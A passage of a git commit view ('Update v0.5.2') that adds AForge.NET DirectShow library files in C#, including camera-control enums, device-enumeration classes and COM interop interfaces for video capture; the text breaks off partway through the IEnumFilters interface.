Update v0.5.2

This commit is contained in:
NYAN CAT 2019-06-21 01:12:49 +03:00
parent a5239a541b
commit 583da6a7ad
118 changed files with 8804 additions and 1423 deletions

View File

@ -0,0 +1,67 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2013
// contacts@aforgenet.com
//
namespace AForge.Video.DirectShow
{
using System;
/// <summary>
/// The enumeration specifies a setting on a camera.
/// </summary>
public enum CameraControlProperty
{
/// <summary>
/// Pan control.
/// </summary>
Pan = 0,
/// <summary>
/// Tilt control.
/// </summary>
Tilt,
/// <summary>
/// Roll control.
/// </summary>
Roll,
/// <summary>
/// Zoom control.
/// </summary>
Zoom,
/// <summary>
/// Exposure control.
/// </summary>
Exposure,
/// <summary>
/// Iris control.
/// </summary>
Iris,
/// <summary>
/// Focus control.
/// </summary>
Focus
}
/// <summary>
/// The enumeration defines whether a camera setting is controlled manually or automatically.
/// </summary>
[Flags]
public enum CameraControlFlags
{
/// <summary>
/// No control flag.
/// </summary>
None = 0x0,
/// <summary>
/// Auto control Flag.
/// </summary>
Auto = 0x0001,
/// <summary>
/// Manual control Flag.
/// </summary>
Manual = 0x0002
}
}

View File

@ -0,0 +1,193 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2008
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow
{
using System;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
using AForge.Video.DirectShow.Internals;
/// <summary>
/// DirectShow filter information.
/// </summary>
///
public class FilterInfo : IComparable
{
/// <summary>
/// Filter name.
/// </summary>
public string Name { get; private set; }
/// <summary>
/// Filters's moniker string.
/// </summary>
///
public string MonikerString { get; private set; }
/// <summary>
/// Initializes a new instance of the <see cref="FilterInfo"/> class.
/// </summary>
///
/// <param name="monikerString">Filters's moniker string.</param>
///
public FilterInfo( string monikerString )
{
MonikerString = monikerString;
Name = GetName( monikerString );
}
/// <summary>
/// Initializes a new instance of the <see cref="FilterInfo"/> class.
/// </summary>
///
/// <param name="moniker">Filter's moniker object.</param>
///
internal FilterInfo( IMoniker moniker )
{
MonikerString = GetMonikerString( moniker );
Name = GetName( moniker );
}
/// <summary>
/// Compare the object with another instance of this class.
/// </summary>
///
/// <param name="value">Object to compare with.</param>
///
/// <returns>A signed number indicating the relative values of this instance and <b>value</b>.</returns>
///
public int CompareTo( object value )
{
FilterInfo f = (FilterInfo) value;
if ( f == null )
return 1;
return ( this.Name.CompareTo( f.Name ) );
}
/// <summary>
/// Create an instance of the filter.
/// </summary>
///
/// <param name="filterMoniker">Filter's moniker string.</param>
///
/// <returns>Returns filter's object, which implements <b>IBaseFilter</b> interface.</returns>
///
/// <remarks>The returned filter's object should be released using <b>Marshal.ReleaseComObject()</b>.</remarks>
///
public static object CreateFilter( string filterMoniker )
{
// filter's object
object filterObject = null;
// bind context and moniker objects
IBindCtx bindCtx = null;
IMoniker moniker = null;
int n = 0;
// create bind context
if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 )
{
// convert moniker`s string to a moniker
if ( Win32.MkParseDisplayName( bindCtx, filterMoniker, ref n, out moniker ) == 0 )
{
// get device base filter
Guid filterId = typeof( IBaseFilter ).GUID;
moniker.BindToObject( null, null, ref filterId, out filterObject );
Marshal.ReleaseComObject( moniker );
}
Marshal.ReleaseComObject( bindCtx );
}
return filterObject;
}
//
// Get moniker string of the moniker
//
private string GetMonikerString( IMoniker moniker )
{
string str;
moniker.GetDisplayName( null, null, out str );
return str;
}
//
// Get filter name represented by the moniker
//
private string GetName( IMoniker moniker )
{
Object bagObj = null;
IPropertyBag bag = null;
try
{
Guid bagId = typeof( IPropertyBag ).GUID;
// get property bag of the moniker
moniker.BindToStorage( null, null, ref bagId, out bagObj );
bag = (IPropertyBag) bagObj;
// read FriendlyName
object val = "";
int hr = bag.Read( "FriendlyName", ref val, IntPtr.Zero );
if ( hr != 0 )
Marshal.ThrowExceptionForHR( hr );
// get it as string
string ret = (string) val;
if ( ( ret == null ) || ( ret.Length < 1 ) )
throw new ApplicationException( );
return ret;
}
catch ( Exception )
{
return "";
}
finally
{
// release all COM objects
bag = null;
if ( bagObj != null )
{
Marshal.ReleaseComObject( bagObj );
bagObj = null;
}
}
}
//
// Get filter name represented by the moniker string
//
private string GetName( string monikerString )
{
IBindCtx bindCtx = null;
IMoniker moniker = null;
String name = "";
int n = 0;
// create bind context
if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 )
{
// convert moniker`s string to a moniker
if ( Win32.MkParseDisplayName( bindCtx, monikerString, ref n, out moniker ) == 0 )
{
// get device name
name = GetName( moniker );
Marshal.ReleaseComObject( moniker );
moniker = null;
}
Marshal.ReleaseComObject( bindCtx );
bindCtx = null;
}
return name;
}
}
}

View File

@ -0,0 +1,138 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2008
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow
{
using System;
using System.Collections;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
using AForge.Video.DirectShow.Internals;
/// <summary>
/// Collection of filters' information objects.
/// </summary>
///
/// <remarks><para>The class allows to enumerate DirectShow filters of specified category. For
/// a list of categories see <see cref="FilterCategory"/>.</para>
///
/// <para>Sample usage:</para>
/// <code>
/// // enumerate video devices
/// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice );
/// // list devices
/// foreach ( FilterInfo device in videoDevices )
/// {
/// // ...
/// }
/// </code>
/// </remarks>
///
public class FilterInfoCollection : CollectionBase
{
/// <summary>
/// Initializes a new instance of the <see cref="FilterInfoCollection"/> class.
/// </summary>
///
/// <param name="category">Guid of DirectShow filter category. See <see cref="FilterCategory"/>.</param>
///
/// <remarks>Build collection of filters' information objects for the
/// specified filter category.</remarks>
///
public FilterInfoCollection( Guid category )
{
CollectFilters( category );
}
/// <summary>
/// Get filter information object.
/// </summary>
///
/// <param name="index">Index of filter information object to retrieve.</param>
///
/// <returns>Filter information object.</returns>
///
public FilterInfo this[int index]
{
get
{
return ( (FilterInfo) InnerList[index] );
}
}
// Collect filters of specified category
private void CollectFilters( Guid category )
{
object comObj = null;
ICreateDevEnum enumDev = null;
IEnumMoniker enumMon = null;
IMoniker[] devMon = new IMoniker[1];
int hr;
try
{
// Get the system device enumerator
Type srvType = Type.GetTypeFromCLSID( Clsid.SystemDeviceEnum );
if ( srvType == null )
throw new ApplicationException( "Failed creating device enumerator" );
// create device enumerator
comObj = Activator.CreateInstance( srvType );
enumDev = (ICreateDevEnum) comObj;
// Create an enumerator to find filters of specified category
hr = enumDev.CreateClassEnumerator( ref category, out enumMon, 0 );
if ( hr != 0 )
throw new ApplicationException( "No devices of the category" );
// Collect all filters
IntPtr n = IntPtr.Zero;
while ( true )
{
// Get next filter
hr = enumMon.Next( 1, devMon, n );
if ( ( hr != 0 ) || ( devMon[0] == null ) )
break;
// Add the filter
FilterInfo filter = new FilterInfo( devMon[0] );
InnerList.Add( filter );
// Release COM object
Marshal.ReleaseComObject( devMon[0] );
devMon[0] = null;
}
// Sort the collection
InnerList.Sort( );
}
catch
{
}
finally
{
// release all COM objects
enumDev = null;
if ( comObj != null )
{
Marshal.ReleaseComObject( comObj );
comObj = null;
}
if ( enumMon != null )
{
Marshal.ReleaseComObject( enumMon );
enumMon = null;
}
if ( devMon[0] != null )
{
Marshal.ReleaseComObject( devMon[0] );
devMon[0] = null;
}
}
}
}
}

View File

@ -0,0 +1,81 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2013
// contacts@aforgenet.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment,
/// or shutter speed. To obtain this interface, query the filter that controls the camera.
/// </summary>
[ComImport,
Guid( "C6E13370-30AC-11d0-A18C-00A0C9118956" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IAMCameraControl
{
/// <summary>
/// Gets the range and default value of a specified camera property.
/// </summary>
///
/// <param name="Property">Specifies the property to query.</param>
/// <param name="pMin">Receives the minimum value of the property.</param>
/// <param name="pMax">Receives the maximum value of the property.</param>
/// <param name="pSteppingDelta">Receives the step size for the property.</param>
/// <param name="pDefault">Receives the default value of the property. </param>
/// <param name="pCapsFlags">Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetRange(
[In] CameraControlProperty Property,
[Out] out int pMin,
[Out] out int pMax,
[Out] out int pSteppingDelta,
[Out] out int pDefault,
[Out] out CameraControlFlags pCapsFlags
);
/// <summary>
/// Sets a specified property on the camera.
/// </summary>
///
/// <param name="Property">Specifies the property to set.</param>
/// <param name="lValue">Specifies the new value of the property.</param>
/// <param name="Flags">Specifies the desired control setting, as a member of the CameraControlFlags enumeration.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Set(
[In] CameraControlProperty Property,
[In] int lValue,
[In] CameraControlFlags Flags
);
/// <summary>
/// Gets the current setting of a camera property.
/// </summary>
///
/// <param name="Property">Specifies the property to retrieve.</param>
/// <param name="lValue">Receives the value of the property.</param>
/// <param name="Flags">Receives a member of the CameraControlFlags enumeration.
/// The returned value indicates whether the setting is controlled manually or automatically.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Get(
[In] CameraControlProperty Property,
[Out] out int lValue,
[Out] out CameraControlFlags Flags
);
}
}

View File

@ -0,0 +1,88 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2012
// contacts@aforgenet.com
//
using System;
using System.Runtime.InteropServices;
namespace AForge.Video.DirectShow.Internals
{
/// <summary>
/// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter.
/// </summary>
[ComImport, System.Security.SuppressUnmanagedCodeSecurity,
Guid( "C6E13380-30AC-11D0-A18C-00A0C9118956" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IAMCrossbar
{
/// <summary>
/// Retrieves the number of input and output pins on the crossbar filter.
/// </summary>
///
/// <param name="outputPinCount">Variable that receives the number of output pins.</param>
/// <param name="inputPinCount">Variable that receives the number of input pins.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int get_PinCounts( [Out] out int outputPinCount, [Out] out int inputPinCount );
/// <summary>
/// Queries whether a specified input pin can be routed to a specified output pin.
/// </summary>
///
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
/// <param name="inputPinIndex">Specifies the index of input pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int CanRoute( [In] int outputPinIndex, [In] int inputPinIndex );
/// <summary>
/// Routes an input pin to an output pin.
/// </summary>
///
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
/// <param name="inputPinIndex">Specifies the index of the input pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Route( [In] int outputPinIndex, [In] int inputPinIndex );
/// <summary>
/// Retrieves the input pin that is currently routed to the specified output pin.
/// </summary>
///
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
/// <param name="inputPinIndex">Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int get_IsRoutedTo( [In] int outputPinIndex, [Out] out int inputPinIndex );
/// <summary>
/// Retrieves information about a specified pin.
/// </summary>
///
/// <param name="isInputPin">Specifies the direction of the pin. Use one of the following values.</param>
/// <param name="pinIndex">Specifies the index of the pin.</param>
/// <param name="pinIndexRelated">Variable that receives the index of the related pin, or 1 if no pin is related to this pin.</param>
/// <param name="physicalType">Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int get_CrossbarPinInfo(
[In, MarshalAs( UnmanagedType.Bool )] bool isInputPin,
[In] int pinIndex,
[Out] out int pinIndexRelated,
[Out] out PhysicalConnectorType physicalType );
}
}

View File

@ -0,0 +1,74 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2008
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// This interface sets the output format on certain capture and compression filters,
/// for both audio and video.
/// </summary>
///
[ComImport,
Guid( "C6E13340-30AC-11d0-A18C-00A0C9118956" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IAMStreamConfig
{
/// <summary>
/// Set the output format on the pin.
/// </summary>
///
/// <param name="mediaType">Media type to set.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetFormat( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Retrieves the audio or video stream's format.
/// </summary>
///
/// <param name="mediaType">Retrieved media type.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetFormat( [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType );
/// <summary>
/// Retrieve the number of format capabilities that this pin supports.
/// </summary>
///
/// <param name="count">Variable that receives the number of format capabilities.</param>
/// <param name="size">Variable that receives the size of the configuration structure in bytes.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetNumberOfCapabilities( out int count, out int size );
/// <summary>
/// Retrieve a set of format capabilities.
/// </summary>
///
/// <param name="index">Specifies the format capability to retrieve, indexed from zero.</param>
/// <param name="mediaType">Retrieved media type.</param>
/// <param name="streamConfigCaps">Byte array, which receives information about capabilities.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetStreamCaps(
[In] int index,
[Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType,
[In, MarshalAs( UnmanagedType.LPStruct )] VideoStreamConfigCaps streamConfigCaps
);
}
}

View File

@ -0,0 +1,112 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2011
// contacts@aforgenet.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The interface controls certain video capture operations such as enumerating available
/// frame rates and image orientation.
/// </summary>
///
[ComImport,
Guid( "6A2E0670-28E4-11D0-A18c-00A0C9118956" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IAMVideoControl
{
/// <summary>
/// Retrieves the capabilities of the underlying hardware.
/// </summary>
///
/// <param name="pin">Pin to query capabilities from.</param>
/// <param name="flags">Get capabilities of the specified pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetCaps( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags flags );
/// <summary>
/// Sets the video control mode of operation.
/// </summary>
///
/// <param name="pin">The pin to set the video control mode on.</param>
/// <param name="mode">Value specifying a combination of the flags to set the video control mode.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetMode( [In] IPin pin, [In, MarshalAs( UnmanagedType.I4 )] VideoControlFlags mode );
/// <summary>
/// Retrieves the video control mode of operation.
/// </summary>
///
/// <param name="pin">The pin to retrieve the video control mode from.</param>
/// <param name="mode">Gets combination of flags, which specify the video control mode.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetMode( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags mode );
/// <summary>
/// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units.
/// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested
/// because of bandwidth availability. This is only available during video streaming.
/// </summary>
///
/// <param name="pin">The pin to retrieve the frame rate from.</param>
/// <param name="actualFrameRate">Gets frame rate in frame duration in 100-nanosecond units.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetCurrentActualFrameRate( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I8 )] out long actualFrameRate );
/// <summary>
/// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections
/// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth
/// availability.
/// </summary>
///
/// <param name="pin">The pin to retrieve the maximum frame rate from.</param>
/// <param name="index">Index of the format to query for maximum frame rate. This index corresponds
/// to the order in which formats are enumerated by <see cref="IAMStreamConfig.GetStreamCaps"/>.</param>
/// <param name="dimensions">Frame image size (width and height) in pixels.</param>
/// <param name="maxAvailableFrameRate">Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetMaxAvailableFrameRate( [In] IPin pin, [In] int index,
[In] System.Drawing.Size dimensions,
[Out] out long maxAvailableFrameRate );
/// <summary>
/// Retrieves a list of available frame rates.
/// </summary>
///
/// <param name="pin">The pin to retrieve the maximum frame rate from.</param>
/// <param name="index">Index of the format to query for maximum frame rate. This index corresponds
/// to the order in which formats are enumerated by <see cref="IAMStreamConfig.GetStreamCaps"/>.</param>
/// <param name="dimensions">Frame image size (width and height) in pixels.</param>
/// <param name="listSize">Number of elements in the list of frame rates.</param>
/// <param name="frameRate">Array of frame rates in 100-nanosecond units.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetFrameRateList( [In] IPin pin, [In] int index,
[In] System.Drawing.Size dimensions,
[Out] out int listSize,
[Out] out IntPtr frameRate );
}
}

View File

@ -0,0 +1,161 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The IBaseFilter interface provides methods for controlling a filter.
/// All DirectShow filters expose this interface
/// </summary>
///
[ComImport,
Guid( "56A86895-0AD4-11CE-B03A-0020AF0BA770" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IBaseFilter
{
// --- IPersist Methods
/// <summary>
/// Returns the class identifier (CLSID) for the component object.
/// </summary>
///
/// <param name="ClassID">Points to the location of the CLSID on return.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetClassID( [Out] out Guid ClassID );
// --- IMediaFilter Methods
/// <summary>
/// Stops the filter.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Stop( );
/// <summary>
/// Pauses the filter.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Pause( );
/// <summary>
/// Runs the filter.
/// </summary>
///
/// <param name="start">Reference time corresponding to stream time 0.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Run( long start );
/// <summary>
/// Retrieves the state of the filter (running, stopped, or paused).
/// </summary>
///
/// <param name="milliSecsTimeout">Time-out interval, in milliseconds.</param>
/// <param name="filterState">Pointer to a variable that receives filter's state.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetState( int milliSecsTimeout, [Out] out int filterState );
/// <summary>
/// Sets the reference clock for the filter or the filter graph.
/// </summary>
///
/// <param name="clock">Pointer to the clock's <b>IReferenceClock</b> interface, or NULL. </param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetSyncSource( [In] IntPtr clock );
/// <summary>
/// Retrieves the current reference clock.
/// </summary>
///
/// <param name="clock">Address of a variable that receives a pointer to the clock's IReferenceClock interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetSyncSource( [Out] out IntPtr clock );
// --- IBaseFilter Methods
/// <summary>
/// Enumerates the pins on this filter.
/// </summary>
///
/// <param name="enumPins">Address of a variable that receives a pointer to the IEnumPins interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int EnumPins( [Out] out IEnumPins enumPins );
/// <summary>
/// Retrieves the pin with the specified identifier.
/// </summary>
///
/// <param name="id">Pointer to a constant wide-character string that identifies the pin.</param>
/// <param name="pin">Address of a variable that receives a pointer to the pin's IPin interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int FindPin( [In, MarshalAs( UnmanagedType.LPWStr )] string id, [Out] out IPin pin );
/// <summary>
/// Retrieves information about the filter.
/// </summary>
///
/// <param name="filterInfo">Pointer to <b>FilterInfo</b> structure.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int QueryFilterInfo( [Out] out FilterInfo filterInfo );
/// <summary>
/// Notifies the filter that it has joined or left the filter graph.
/// </summary>
///
/// <param name="graph">Pointer to the Filter Graph Manager's <b>IFilterGraph</b> interface, or NULL
/// if the filter is leaving the graph.</param>
/// <param name="name">String that specifies a name for the filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int JoinFilterGraph( [In] IFilterGraph graph, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
/// <summary>
/// Retrieves a string containing vendor information.
/// </summary>
///
/// <param name="vendorInfo">Receives a string containing the vendor information.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int QueryVendorInfo( [Out, MarshalAs( UnmanagedType.LPWStr )] out string vendorInfo );
}
}

View File

@ -0,0 +1,192 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2008
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// This interface builds capture graphs and other custom filter graphs.
/// </summary>
///
[ComImport,
Guid( "93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface ICaptureGraphBuilder2
{
/// <summary>
/// Specify filter graph for the capture graph builder to use.
/// </summary>
///
/// <param name="graphBuilder">Filter graph's interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetFiltergraph( [In] IGraphBuilder graphBuilder );
/// <summary>
/// Retrieve the filter graph that the builder is using.
/// </summary>
///
/// <param name="graphBuilder">Filter graph's interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetFiltergraph( [Out] out IGraphBuilder graphBuilder );
/// <summary>
/// Create file writing section of the filter graph.
/// </summary>
///
/// <param name="type">GUID that represents either the media subtype of the output or the
/// class identifier (CLSID) of a multiplexer filter or file writer filter.</param>
/// <param name="fileName">Output file name.</param>
/// <param name="baseFilter">Receives the multiplexer's <see cref="IBaseFilter"/> interface.</param>
/// <param name="fileSinkFilter">Receives the file writer's IFileSinkFilter interface. Can be NULL.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetOutputFileName(
[In, MarshalAs( UnmanagedType.LPStruct )] Guid type,
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
[Out] out IBaseFilter baseFilter,
[Out] out IntPtr fileSinkFilter
);
/// <summary>
/// Searche the graph for a specified interface, starting from a specified filter.
/// </summary>
///
/// <param name="category">GUID that specifies the search criteria.</param>
/// <param name="type">GUID that specifies the major media type of an output pin, or NULL.</param>
/// <param name="baseFilter"><see cref="IBaseFilter"/> interface of the filter. The method begins searching from this filter.</param>
/// <param name="interfaceID">Interface identifier (IID) of the interface to locate.</param>
/// <param name="retInterface">Receives found interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int FindInterface(
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
[In, MarshalAs( UnmanagedType.LPStruct )] Guid type,
[In] IBaseFilter baseFilter,
[In, MarshalAs( UnmanagedType.LPStruct )] Guid interfaceID ,
[Out, MarshalAs( UnmanagedType.IUnknown )] out object retInterface
);
/// <summary>
/// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter.
/// </summary>
///
/// <param name="category">Pin category.</param>
/// <param name="mediaType">Major-type GUID that specifies the media type of the output pin.</param>
/// <param name="source">Starting filter for the connection.</param>
/// <param name="compressor">Interface of an intermediate filter, such as a compression filter. Can be NULL.</param>
/// <param name="renderer">Sink filter, such as a renderer or mux filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RenderStream(
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
[In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
[In, MarshalAs( UnmanagedType.IUnknown )] object source,
[In] IBaseFilter compressor,
[In] IBaseFilter renderer
);
/// <summary>
/// Set the start and stop times for one or more streams of captured data.
/// </summary>
///
/// <param name="category">Pin category.</param>
/// <param name="mediaType">Major-type GUID that specifies the media type.</param>
/// <param name="filter"><see cref="IBaseFilter"/> interface that specifies which filter to control.</param>
/// <param name="start">Start time.</param>
/// <param name="stop">Stop time.</param>
/// <param name="startCookie">Value that is sent as the second parameter of the
/// EC_STREAM_CONTROL_STARTED event notification.</param>
/// <param name="stopCookie">Value that is sent as the second parameter of the
/// EC_STREAM_CONTROL_STOPPED event notification.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ControlStream(
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
[In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
[In, MarshalAs( UnmanagedType.Interface )] IBaseFilter filter,
[In] long start,
[In] long stop,
[In] short startCookie,
[In] short stopCookie
);
/// <summary>
/// Preallocate a capture file to a specified size.
/// </summary>
///
/// <param name="fileName">File name to create or resize.</param>
/// <param name="size">Size of the file to allocate, in bytes.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AllocCapFile(
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
[In] long size
);
/// <summary>
/// Copy the valid media data from a capture file.
/// </summary>
///
/// <param name="oldFileName">Old file name.</param>
/// <param name="newFileName">New file name.</param>
/// <param name="allowEscAbort">Boolean value that specifies whether pressing the ESC key cancels the copy operation.</param>
/// <param name="callback">IAMCopyCaptureFileProgress interface to display progress information, or NULL.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int CopyCaptureFile(
[In, MarshalAs( UnmanagedType.LPWStr )] string oldFileName,
[In, MarshalAs( UnmanagedType.LPWStr )] string newFileName,
[In, MarshalAs( UnmanagedType.Bool )] bool allowEscAbort,
[In] IntPtr callback
);
/// <summary>
///
/// </summary>
///
/// <param name="source">Interface on a filter, or to an interface on a pin.</param>
/// <param name="pinDirection">Pin direction (input or output).</param>
/// <param name="category">Pin category.</param>
/// <param name="mediaType">Media type.</param>
/// <param name="unconnected">Boolean value that specifies whether the pin must be unconnected.</param>
/// <param name="index">Zero-based index of the pin to retrieve, from the set of matching pins.</param>
/// <param name="pin">Interface of the matching pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int FindPin(
[In, MarshalAs( UnmanagedType.IUnknown )] object source,
[In] PinDirection pinDirection,
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
[In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
[In, MarshalAs( UnmanagedType.Bool )] bool unconnected,
[In] int index,
[Out, MarshalAs( UnmanagedType.Interface )] out IPin pin
);
}
}

View File

@ -0,0 +1,37 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
/// <summary>
/// The <b>ICreateDevEnum</b> interface creates an enumerator for devices within a particular category,
/// such as video capture devices, audio capture devices, video compressors, and so forth.
/// </summary>
///
[ComImport,
Guid( "29840822-5B84-11D0-BD3B-00A0C911CE86" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface ICreateDevEnum
{
/// <summary>
/// Creates a class enumerator for a specified device category.
/// </summary>
///
/// <param name="type">Specifies the class identifier of the device category.</param>
/// <param name="enumMoniker">Address of a variable that receives an <b>IEnumMoniker</b> interface pointer</param>
/// <param name="flags">Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int CreateClassEnumerator( [In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags );
}
}

View File

@ -0,0 +1,71 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007-2008
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// This interface is used by applications or other filters to determine
/// what filters exist in the filter graph.
/// </summary>
///
[ComImport,
Guid( "56A86893-0AD4-11CE-B03A-0020AF0BA770" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IEnumFilters
{
/// <summary>
/// Retrieves the specified number of filters in the enumeration sequence.
/// </summary>
///
/// <param name="cFilters">Number of filters to retrieve.</param>
/// <param name="filters">Array in which to place <see cref="IBaseFilter"/> interfaces.</param>
